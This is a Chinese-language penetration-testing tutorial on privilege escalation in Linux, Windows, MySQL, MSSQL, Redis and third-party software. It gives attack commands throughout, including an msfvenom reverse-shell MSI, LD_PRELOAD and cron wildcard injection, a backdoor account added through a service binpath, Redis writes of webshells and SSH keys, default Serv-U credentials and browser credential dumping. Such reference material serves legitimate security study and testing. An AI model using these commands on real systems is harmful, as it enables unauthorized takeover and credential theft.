操作系统提权
Linux 提权
信息收集
提权的第一步是全面了解目标系统的情况,从中寻找可用的提权面。常用的手工收集命令如下:
1 | # 内核版本与系统架构 |
手工收集效率较低,实战中通常配合自动化枚举脚本,上传执行后按输出逐项排查:
| 工具 | 说明 |
|---|---|
| linpeas.sh | PEASS 家族的 Linux 版本,输出着色分级,覆盖面最全 |
| linux-smart-enumeration(lse.sh) | 按”确定性”分级输出,噪音较少 |
| linux-exploit-suggester | 根据内核版本直接匹配可能可用的内核 exp |
| LinEnum | 老牌枚举脚本,输出信息量大 |
内核漏洞提权
内核漏洞提权的思路是:先通过 uname -a 确认内核版本,再寻找影响该版本的公开 exp。本地检索可以使用 searchsploit:
1 | searchsploit linux kernel 4.4 |
代表性的内核提权漏洞:
| 漏洞 | CVE 编号 | 影响范围 | 说明 |
|---|---|---|---|
| DirtyCow | CVE-2016-5195 | 内核 2.6.22 ~ 4.8.3 | 写时复制(COW)竞争条件,可写只读内存映射,影响面极广 |
| PwnKit | CVE-2021-4034 | polkit 2009 年以来的绝大多数发行版 | pkexec 本地提权,利用稳定,命中率极高 |
| DirtyPipe | CVE-2022-0847 | 内核 5.8 ~ 5.16.11 | 管道缓冲区标志位缺陷,可覆写只读文件(如 /etc/passwd) |
| OverlayFS | CVE-2021-3493 | Ubuntu 特定内核 | overlayfs 未正确校验 capabilities,可写特权文件 |
注意事项:
- 内核 exp 的稳定性参差不齐,运行失败可能直接导致内核 panic、机器重启,生产环境慎用,先在同等版本的环境中测试。
- 部分 exp 依赖 gcc 在目标上编译,目标没有编译器时可先在本地同版本环境交叉编译再上传。
- 优先尝试有”不宕机”口碑的 exp(如 PwnKit、DirtyPipe),DirtyCow 类竞争型 exp 放到最后。
SUID/SGID 提权
SUID 位的作用是让普通用户以文件属主的身份执行程序。若某个 SUID 程序的属主是 root 且该程序存在执行外部命令的能力,就可以借此拿到 root shell。
排查命令:
1 | find / -perm -u=s -type f 2>/dev/null |
SUID 以属主身份运行,SGID 以属组身份运行,思路一致,只是 SGID 拿到的一般是属组权限而非直接 root。
拿到 SUID 程序列表后,到 GTFOBins 查询对应程序的提权用法。常见示例:
1 | # find:对搜索结果执行任意命令 |
注意 bash、dash 等 shell 启动时会主动降权(有效 UID 回落到真实 UID),因此很多场景需要加 -p 参数保留特权。
sudo 配置不当
sudo -l 用于查看当前用户被允许以谁的身份执行哪些命令,输出形如:
1 | User test may run the following commands on host: |
解读要点:括号内是”可以以谁的身份执行”,后面是允许执行的命令。若允许执行的程序在 GTFOBins 上有 sudo 条目,即可直接提权:
1 | sudo find . -exec /bin/sh \; -quit |
此外需要关注 sudo 自身的版本漏洞(sudo -V 查看版本):
| 漏洞 | CVE 编号 | 影响版本 | 利用方式 |
|---|---|---|---|
| sudo 用户 ID 解析绕过 | CVE-2019-14287 | < 1.8.28 | sudoers 配置 (ALL, !root) 时,sudo -u#-1 id 可绕过限制拿到 root |
| Baron Samedit | CVE-2021-3156 | 1.8.2 ~ 1.9.5p1 | sudoedit 堆溢出,默认配置下即可本地提权 |
还有一种情况是 sudo -l 显示 env_keep+=LD_PRELOAD,此时可以编译一个带 _init 构造函数的共享对象,通过环境变量注入实现提权:
1 |
|
1 | gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles |
计划任务与脚本劫持
先枚举系统中的计划任务:
1 | cat /etc/crontab |
针对 root 执行的计划任务,常见的劫持思路有三种:
- 脚本可写:root 的 cron 调用的脚本若对当前用户可写,直接向其中追加反弹 shell 或提权命令,等待 cron 触发。
1 | ls -l /opt/backup.sh |
- PATH 劫持:crontab 顶部定义的 PATH 中若包含当前用户可写的目录,且任务使用相对路径调用命令(如
tar而非/bin/tar),则在可写目录中放置同名恶意程序即可被优先执行。
1 | echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /writable/dir/tar |
- 通配符注入:cron 中存在类似
tar -zcf /backup/home.tgz *的命令时,通配符展开的文件名会被当作 tar 的参数解析。在被打包目录中放置特殊文件名的文件即可执行任意命令:
1 | echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh |
其他常见提权面
除上述四大类外,还有一些值得顺手检查的点:
- /etc/passwd 可写:直接构造一条密码记录追加进去,即可获得一个 root 权限的新账号。
1 | openssl passwd -1 -salt abc 123456 |
NFS no_root_squash:
showmount -e <目标IP>查看共享目录,若导出选项带no_root_squash,挂载后在其中放置 SUID bash,回到目标上执行即可提权。Capabilities:
getcap -r / 2>/dev/null发现带有cap_setuid等危险能力的程序时可直接利用,例如 python 带 cap_setuid:
1 | python -c 'import os; os.setuid(0); os.system("/bin/bash")' |
- Docker/LXD 组:当前用户在 docker 组中时,可通过挂载宿主机根目录的容器逃逸到 root:
1 | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
Windows 提权
信息收集
1 | :: 系统版本与补丁情况(判断内核漏洞的关键依据) |
自动化枚举工具:
| 工具 | 说明 |
|---|---|
| winPEAS | PEASS 家族的 Windows 版本,枚举面最全,有 exe 与 bat 两个版本 |
| PowerUp | PowerSploit 组件,Invoke-AllChecks 专查常见配置错误 |
| Sherlock | 根据补丁情况匹配本地提权漏洞(已停止更新,仅适合老系统) |
| WES-NG | Sherlock 的替代品,离线漏洞库持续更新,wes.py sysinfo.txt 即可 |
内核漏洞提权
Windows 内核提权的标准流程是:导出 systeminfo 结果,用 WES-NG 在本地离线比对补丁,找出缺失补丁对应的可用 exp:
1 | :: 目标上执行 |
1 | # 攻击机上执行 |
代表性的 Windows 内核/系统提权漏洞:
| 漏洞 | CVE 编号 | 影响范围 | 说明 |
|---|---|---|---|
| 辅助登录句柄泄露 | MS16-032 | Win 7 ~ 10、2008 ~ 2012(未打补丁) | 经典本地提权,PowerShell 即可利用 |
| PrintNightmare | CVE-2021-34527 | 几乎所有开启 Spooler 服务的 Windows | 打印后台处理程序 RCE/LPE,域环境杀伤力大 |
| HiveNightmare(SeriousSAM) | CVE-2021-36934 | Win 10 1809+ / Server 2019+ | SAM 文件卷影副本可被普通用户读取,提取哈希后提权 |
| RPC 本地提权 | CVE-2022-26904 | Win 10/11、Server 2019/2022 | UserProfileService 竞争条件提权 |
服务配置错误
1. 未加引号的服务路径(Unquoted Service Path)
服务路径包含空格且没有用引号包裹时,Windows 会按空格逐段尝试解析。例如路径为 C:\Program Files\Some Folder\service.exe 时,系统会依次尝试执行 C:\Program.exe、C:\Program Files\Some.exe。若前置目录可写,放置同名恶意程序即可在服务重启时以 SYSTEM 权限执行。
排查命令:
1 | wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ |
检查目录写权限并放置 payload:
1 | icacls "C:\Program Files" |
2. 服务二进制文件弱权限
服务对应的 exe 文件若对普通用户可写(icacls 显示 Users 组有 F 或 M 权限),直接替换为恶意程序即可。可用 accesschk 批量排查:
1 | accesschk.exe -uwcqv "Authenticated Users" * /accepteula |
3. 服务配置项可修改
若当前用户对服务拥有 SERVICE_CHANGE_CONFIG 权限(PowerUp 的 Get-ModifiableService 可查),可以直接改写服务的 binpath:
1 | sc config <服务名> binpath= "net user hacker P@ssw0rd /add" |
AlwaysInstallElevated
若组策略中 HKLM 与 HKCU 两处都将 AlwaysInstallElevated 置为 1,则任何 msi 安装包都会以 SYSTEM 权限安装。检查命令:
1 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
两处均返回 0x1 时,生成恶意 msi 安装即可提权:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi |
1 | msiexec /quiet /qn /i C:\evil.msi |
Token 窃取与模拟
Windows 中,持有 SeImpersonatePrivilege(模拟特权)的进程可以模拟客户端的访问令牌。服务账户(IIS 应用池、MSSQL 服务、本地服务/网络服务等)默认就带有该特权,因此拿到 WebShell 或服务权限后常用 Potato 系列提权到 SYSTEM。先用 whoami /priv 确认特权存在:
1 | SeImpersonatePrivilege Impersonate a client after authentication Enabled |
Potato 家族的演进与适用场景:
| 工具 | 适用系统 | 说明 |
|---|---|---|
| RottenPotato | Win 7 / 2008 | 早期版本,配合 meterpreter 的 incognito 使用 |
| JuicyPotato | Win 7 ~ 10、2008 ~ 2016 | 滥用 BITS 的 COM CLSID,需要 SeImpersonate 特权 |
| RoguePotato | Win 10 / 2016+ | 配合 OXID 解析转发,用于无本地提权通道的场景 |
| PrintSpoofer | Win 10 / Server 2019 | 利用打印服务命名管道,稳定且无需 COM |
| GodPotato | Win 8/2012 ~ Win 11/2022 | 基于 DCOM,适用面最广,目前最常用 |
| SweetPotato | Win 7 ~ 11 | 集合多种触发方式的综合体 |
meterpreter 中还可以直接用 incognito 模块枚举并模拟登录用户的令牌:
1 | load incognito |
UAC 绕过
UAC 绕过不是从普通用户到 SYSTEM,而是从中完整性(Medium)管理员到高完整性(High)管理员。常用思路是利用自动提权(autoElevate)的白名单程序,通过注册表劫持其执行内容。
1. fodhelper(Win 10)
fodhelper.exe 启动时会读取 HKCU\Software\Classes\ms-settings\Shell\Open\command,劫持该键值即可让 fodhelper 以高完整性执行任意命令:
1 | reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c C:\payload.exe" /f |
2. computerdefaults(Win 10):同样劫持 ms-settings 键,随后运行 computerdefaults.exe。
3. eventvwr(Win 7 / 8):劫持 HKCU\Software\Classes\mscfile\shell\open\command,随后运行 eventvwr.exe。
4. DLL 劫持:autoElevate 程序加载的 DLL 若从可写目录搜索,放置同名恶意 DLL 即可在高完整性进程中执行代码。可用 sigcheck 检查程序的 autoElevate 清单,配合 ProcMon 观察缺失的 DLL 加载路径。
其他常见提权面
- 组策略首选项密码(GPP):域控 SYSVOL 共享中
Groups.xml等文件可能残留以 AES 加密的本地管理员密码(cpassword 字段),由于微软公开了密钥,可直接解密:
1 | gpp-decrypt <cpassword密文> |
- 无人值守安装残留:批量装机使用的
unattend.xml、sysprep.inf中可能明文保存管理员密码,常见路径有C:\Windows\Panther\Unattend.xml、C:\Windows\Panther\Unattend\Unattend.xml、C:\Windows\System32\sysprep\sysprep.inf。 - PATH 中的可写目录:
echo %PATH%中出现当前用户可写的目录时,向其中投放被高权限进程调用的程序即可劫持执行。
数据库提权
MySQL 提权
UDF 提权
UDF(User Defined Function,用户自定义函数)提权是 MySQL 提权最经典的方式:通过向 plugin 目录写入动态链接库(Linux 为 .so,Windows 为 .dll),注册一个能执行系统命令的函数,从而以 MySQL 服务账户的权限执行命令。MySQL 常以 root/SYSTEM 等高权限运行,因此可直接获得高权限。
前提条件:需要 root 账号(有 insert、delete、create 权限),且 secure_file_priv 允许文件导出:
1 | -- 检查导出限制:为空表示无限制;为路径表示只能导出到该目录;为 NULL 表示禁止导出 |
利用步骤(以 Linux 为例,udf.so 可在 sqlmap 的 data/udf/mysql/ 目录找到,需先解码):
1 | -- 1. 将动态链接库写入 plugin 目录 |
无法直连数据库时,也可将 .so 文件转为十六进制,通过 select 0x<hex> into dumpfile '...' 写入。
MOF 提权(Windows 老版本)
MOF 是 Windows 的托管对象格式文件,放入 C:/Windows/System32/wbem/mof/ 目录后会被系统以 SYSTEM 权限定时编译执行。利用方式是将包含恶意命令的 mof 文件通过 into dumpfile 写入该目录。该方法仅适用于 Win 2003 时代,2008 之后该目录默认只有管理员可写,已较少使用。
写文件类提权
当 secure_file_priv 为空且知道站点路径时,可直接写 webshell 或启动项:
1 | -- 写 webshell |
MSSQL 提权
xp_cmdshell
xp_cmdshell 扩展存储过程可直接执行系统命令,权限为 MSSQL 服务账户(常为 SYSTEM)。需要 sa 或具备相应权限的账号,默认关闭,需手动开启:
1 | -- 开启 xp_cmdshell |
沙盒模式提权
当 xp_cmdshell 被删除或禁用时,可通过修改注册表关闭 Jet 引擎的沙盒模式,再利用 openrowset 执行命令:
1 | EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; |
此外 sp_OACreate/sp_OAMethod 组合可调用 WScript.Shell 等 COM 对象执行命令或写文件,也是常见的备用通道。
Redis 提权
Redis 提权主要利用未授权访问或弱口令拿到 Redis 控制权后,通过 config set 修改持久化目录,把数据写到敏感位置。
1 | redis-cli -h 192.168.1.100 # 未授权访问直接连接 |
1. 写 webshell(知道 Web 目录时):
1 | config set dir /var/www/html |
2. 写 SSH 公钥(Redis 以 root 运行时):
1 | config set dir /root/.ssh |
3. 写计划任务(写入时注意前后补换行,防止 cron 解析失败):
1 | config set dir /var/spool/cron |
4. 主从复制加载模块 RCE:Redis 4.x/5.x 中,攻击者搭建恶意主节点,让目标执行 slaveof 同步恶意模块文件,再通过 module load 加载实现命令执行。现有成熟工具(如 redis-rogue-server)可一键利用,是对付有密码但版本较老的 Redis 的首选。
应用程序提权
第三方服务软件提权
服务器上安装的第三方服务软件常以高权限运行,且各自存在历史提权漏洞或弱配置:
- Serv-U:老版本默认开放本地管理端口 43958,内置管理账号
LocalAdministrator、密码#l@$ak#.lk;0@P,且 Serv-U 以 SYSTEM 运行。拿到低权限 shell 后可通过该端口执行 FTP 命令完成提权(也有多个版本的本地提权 exp)。 - VNC:RealVNC/UltraVNC/TightVNC 的连接口令以可逆方式加密存储在注册表(如
HKLM\SOFTWARE\RealVNC\vncserver\Password),可解密后连接受控桌面,很多情况下桌面会话就是管理员。 - Radmin:密码哈希存于注册表,可提取后破解或直接哈希传递连接。
- PcAnywhere、TeamViewer 等远程管理软件同理,重点排查其配置文件与注册表凭据。
本机凭据收集
运维人员在本机客户端软件中保存的凭据,往往是通往高权限账号(域管、数据库 root)的捷径,拿下主机后应系统性地翻找:
| 软件 | 凭据位置 | 说明 |
|---|---|---|
| 浏览器 | Chrome Login Data 数据库 + Local State 中的主密钥 |
主密钥由 DPAPI 保护,可用 HackBrowserData、SharpChrome 一键导出 |
| FileZilla | sitemanager.xml、recentservers.xml |
密码明文或 Base64 存储,直接可读 |
| XShell/Xftp | Sessions 目录下的 .xsh/.xfp 文件 |
密码加密存储,可用 Xdecrypt、SharpXDecrypt 解密 |
| Navicat | 注册表 HKCU\Software\PremiumSoft |
密码可逆加密,有公开的解密脚本 |
| WinSCP | 注册表或 WinSCP.ini | 可用自带功能或脚本解密 |
收集到的凭据一方面可能直接就是本机/域内高权限账号,另一方面可用于密码复用,横向攻击其他主机,实现从单机提权到域内提权的跨越。